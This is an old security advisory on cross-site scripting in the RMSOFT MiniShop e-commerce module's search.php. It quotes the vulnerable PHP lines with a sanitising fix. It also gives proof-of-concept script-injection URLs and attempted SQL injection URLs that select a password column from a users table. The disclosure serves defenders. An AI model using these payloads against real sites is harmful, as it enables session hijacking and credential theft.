rmsoftminishop-xss.txt

`##########################################  
RMSOFT MiniShop module multiple variable XSS  
Vendor url:http://redmexico.com.mx  
Advisore:http://lostmon.blogspot.com/2008/08  
/rmsoft-minishop-module-multiple.html  
Vendor notify:no exploit available:yes  
##########################################  
  
  
RMSOFT MiniShop is a E-commerce php/Mysql script module  
for multiple CMS Systems like Xoops,e-xoops,bcoos and  
impressCMS and probably in all CMS based in Xoops code.  
  
  
  
  
RMSOFT MiniShop contains a flaw that allows a remote  
cross site scripting attack.This flaw exists because  
the application does not validate multiple variable upon  
submission to 'search.php' script in RMSOFT MiniShop module.  
This could allow a user to create a specially crafted URL  
that would execute arbitrary code in a user's browser within  
the trust relationship between the browser and the server,  
leading loss ofintegrity.  
  
  
#################  
Versions  
################·  
  
RMSOFT MiniShop 1.0  
  
it affects This type CMS Systems if we  
have instaled this module:  
  
Xoops  
e-xoops  
ImpressCMS  
Bcoos  
  
and other that uses xoops code and this module.  
  
###################  
Solution  
###################  
  
At this moment ,no have solution...  
  
  
  
###################  
Proof of Concept.  
###################  
  
#############  
XSS  
#############  
  
vulnerable code key & idc variables in lines 35 & 36 in search.php  
  
$key = isset($_GET['key']) ? $_GET['key'] : (isset($_POST['key']) ?  
$_POST['key'] : '');  
$idc = isset($_GET['idc']) ? $_GET['idc'] : (isset($_POST['idc']) ?  
$_POST['idc'] : '');  
  
to fix change to:  
  
$key = isset($_GET['key']) ? htmlspecialchars($_GET['key']) :  
(isset($_POST['key']) ? htmlspecialchars($_POST['key']) : '');  
  
$idc = isset($_GET['idc']) ? htmlspecialchars($_GET['idc']) :  
(isset($_POST['idc']) ? htmlspecialchars($_POST['idc']) : '');  
  
vulnerable code itemsxpag variable in lines 56 to 67 in search.php :  
  
//NUmero de resultados por página  
if (isset($_GET['itemsxpag'])){  
//setcookie('itemsxpag', $_GET['itemsxpag'], 86400);  
$_SESSION['itemsxpag'] = $_GET['itemsxpag'];  
$limit = $_GET['itemsxpag'];} else {  
$limit = $_SESSION['itemsxpag'];  
}if ($limit <= 0){  
$limit = $xoopsModuleConfig['cols'] * 3;  
$_SESSION['itemsxpag'] = $limit;}  
  
  
exploit all tree variables:  
  
http://localhost/impresscms/htdocs/modules/rmms/search.php?itemsxpag=4  
"><script>alert(1)</script>&Submit=Go%21&idc=0  
"><script>alert(2)</script>  
&key="><script>alert(3)</script>  
  
This is a persistent script insercion in 'itemsxpag' variable because the value  
of the variable is inserted directly in '$_SESION' & '$Limit' variables.:  
  
http://localhost/impresscms/htdocs/modules/rmms/search.php?  
itemsxpag=12"><script>alert(1)</script>&Submit=Go%21&idc=  
&key=lalalalalala  
  
try to navigate to index and go again to minishop module  
and try to search something in the search box of module.  
Wen show the results the script executed before is  
executed again.  
  
  
#####################  
Posible SQL Injection  
#####################  
  
wen exploit in the example of script insercion  
if we look web down we have a SQL Error:  
  
You have an error in your SQL syntax; check the manual  
that corresponds to your MySQL server version for the  
right syntax to use near '\">' at line 2  
  
we can try to inject some SQL code like  
http://localhost/impresscms/htdocs/modules/rmms/search.php?  
itemsxpag=-1/**/union/**/select/**/pass/**/form/**/x21101_users  
/**/LIMIT/**/1&idc=0&key=aaa  
  
http://localhost/impresscms/htdocs/modules/rmms/search.php?  
itemsxpag=28+UNION+SELECT+pass+FROM+x21101_users+LIMIT+1  
&Submit=Go%21&idc=&key=aaaaaa  
  
and we get this error Incorrect usage of UNION and ORDER BY...  
  
we think in a classic SQL error , but i make several test with  
union select and concat , etc etc and don´t have a working exploit  
..them this is a unknow impact , and need to patch  
  
############## €nd ###################  
  
Thnx To estrella to be my light  
Thnx to all Lostmon Team !  
thnx to imydes From www.imydes.com  
--   
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
Google group: http://groups.google.com/group/lostmon (new)  
--  
La curiosidad es lo que hace mover la mente....  
  
  
  
--   
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
Google group: http://groups.google.com/group/lostmon (new)  
--  
La curiosidad es lo que hace mover la mente....  
`